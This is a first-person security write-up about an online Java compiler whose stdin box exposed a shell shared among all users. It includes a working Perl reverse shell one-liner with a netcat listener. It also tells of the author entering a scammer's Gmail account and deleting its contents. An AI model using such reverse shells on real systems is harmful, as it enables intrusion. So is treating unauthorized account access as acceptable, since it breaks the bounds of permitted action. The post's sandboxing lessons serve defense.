A Reverse Shell from an Online Compiler

April 2022 · security · sandboxing · RCE · research

Context. This is me poking at a public online Java compiler out of curiosity. An online compiler runs whatever code you paste on someone else's machine, that is the entire product, so running code is expected. What I did not expect was how far that code could reach, or who else I would find sharing the box with me. Third party details (the other user's account, the people they were targeting) are redacted, and my own IP is a placeholder.

The blinking cursor

This started by accident. I had a small Java program in Programiz that read some input, ran it, and finished. After it printed its output I pressed Enter a couple of times out of habit, and instead of going back to an idle state the output pane just left me with a cursor blinking on an empty line. No prompt, no label, nothing. It looked like the program had hung.

So I typed ls and pressed Enter, and it listed a directory. The input box that programs read from was sitting on top of a shell: once the Java process was out of the way, whatever I typed there ran as a command. That is the whole bug, an stdin field that dropped to a shell the moment the program exited.

Where am I

The first thing you do with a shell you did not expect to have is figure out who and where you are.

$ whoami
compiler

$ ls /
app  bin  boot  dev  etc  home  lib  lib32  lib64  libx32
media  mnt  opt  proc  root  run  sbin  srv  sys  tmp  usr  var

I am compiler, a dedicated low-privilege user, which is the right call. The filesystem is a normal Debian-ish container, my compiled program sitting in /tmp where the runner dropped it. So far, so reasonable: a sandbox running my code as an unprivileged user. The problem is what that sandbox is allowed to do next.

Turning it into a real shell

Typing commands one at a time into a web input box is miserable, so I upgraded to a proper interactive shell. From inside the Java program I shelled out to a one-line Perl reverse shell that dials back to a listener on my own machine, reached through a port I forwarded on my home router.

$ nc -lnvp 1337
Connection from 35.223.55.41:40180
perl -MIO -e '$p=fork;exit,if($p);
  $c=new IO::Socket::INET(PeerAddr,"<MY_IP>:1337");
  STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

The source address, 35.223.55.41, is a Google Cloud range, so the compiler backend is a container running in GCP. The Java editor still printed its usual Hello, World! and looked completely normal, but it had also forked a child that dialed home, and my terminal lit up with an interactive prompt running as compiler.

Browser stdin input box GCP container 35.223.55.41 compiler shell perl home router forward :1337 laptop nc :1337 reverse shell dials outbound: the container connects to me, so NAT is no obstacle

It is one big shared box

Then I ran ps -aux, and that is where it stopped being a toy. The process list was full of other people's programs, all running as the same compiler user on the same machine at the same time:

compiler  211  python3.8 -i -c  for x in range(10): print("...")
compiler  215  perl -MIO -e $p=fork;exit,if($p);$c=new IO::Socket::INET(...)   # mine
compiler  227  python3.8 -i -c  persons_name = input("enter your name ")
                                 favourite_color = input("enter a color: ")
learner, homework scammer me Run one shared container user: compiler pid 211 python3.8 -i print loop pid 227 python3.8 -i input("enter your name") pid 215 perl reverse shell (mine) every session can see, read and signal every other

Every visitor hitting "Run" anywhere on the site lands on this same box as this same user. I could read their source off the command line, watch programs waiting at an input() prompt, and I had the privileges to read their temp files or signal their processes. There is a sandbox around the machine, but no isolation between users on it. A per-run container that every user shares is not really a per-run container.

The scammer

Most sessions were what you would expect from an online compiler: homework, test prints, people learning loops. One was not. Someone was running an email scam from the box, and from there I found my way into the Gmail account driving it.

It was a Norton refund scam, the callback kind. The sent folder was full of near identical emails to long bcc lists, each a fake invoice: "Thank you for your order, your Norton 360 subscription has renewed, we have charged 349.99 USD to your account, if you did not authorize this call our toll free number." A forged Norton invoice was attached with a number to call. The whole thing is designed to panic someone into calling, at which point the "support" line walks them through handing over money or remote access to fix a charge that never happened.

Cleaning up

I am not going to pretend I handled this like a professional. I was already logged into the account and could see who it was targeting, so I deleted the scam mail and the account contents to break that particular run. It is not a fix, they will spin up another address tomorrow, but it beat closing the tab and leaving the next batch to go out. Mostly it drove home that the same missing isolation that let me look around also let someone park an active scam operation on a free coding website and reach real inboxes from it.

What actually went wrong

Running my code as an unprivileged user in a container is the correct baseline. The problems are the controls missing on top of it:

How you would contain this

None of the fixes are exotic. If you run untrusted code for a living, the defenses are well known, and they all follow from one shift: stop sharing.

what it was one shared box run A run B shared user: compiler egress open to internet fix how to contain it one microVM per run run A, torn down after run B, torn down after egress denied by default
LayerControl
IsolationOne-shot microVM (Firecracker/gVisor) per run, torn down after, no shared user and no shared state between sessions.
NetworkDefault-deny egress. The runner needs no outbound access at all, drop it at the container or VPC level.
Syscallsseccomp allow-list; block socket, connect, ptrace, mount and friends.
ImageMinimal rootfs, no perl/bash/curl the language runtime does not need.
ResourcesCPU, memory, PID and time limits so a fork bomb or miner cannot camp on the box.

Takeaway

Sandboxing the user with an unprivileged account is necessary but nowhere near enough. The moment a sandbox is shared between strangers and can open a socket to the internet, "we run your code in a container" quietly becomes "we give everyone a shell on a shared machine with outbound network access," and you find out who shows up to use it. Assume every run is hostile, give each one its own throwaway box, and cut the network.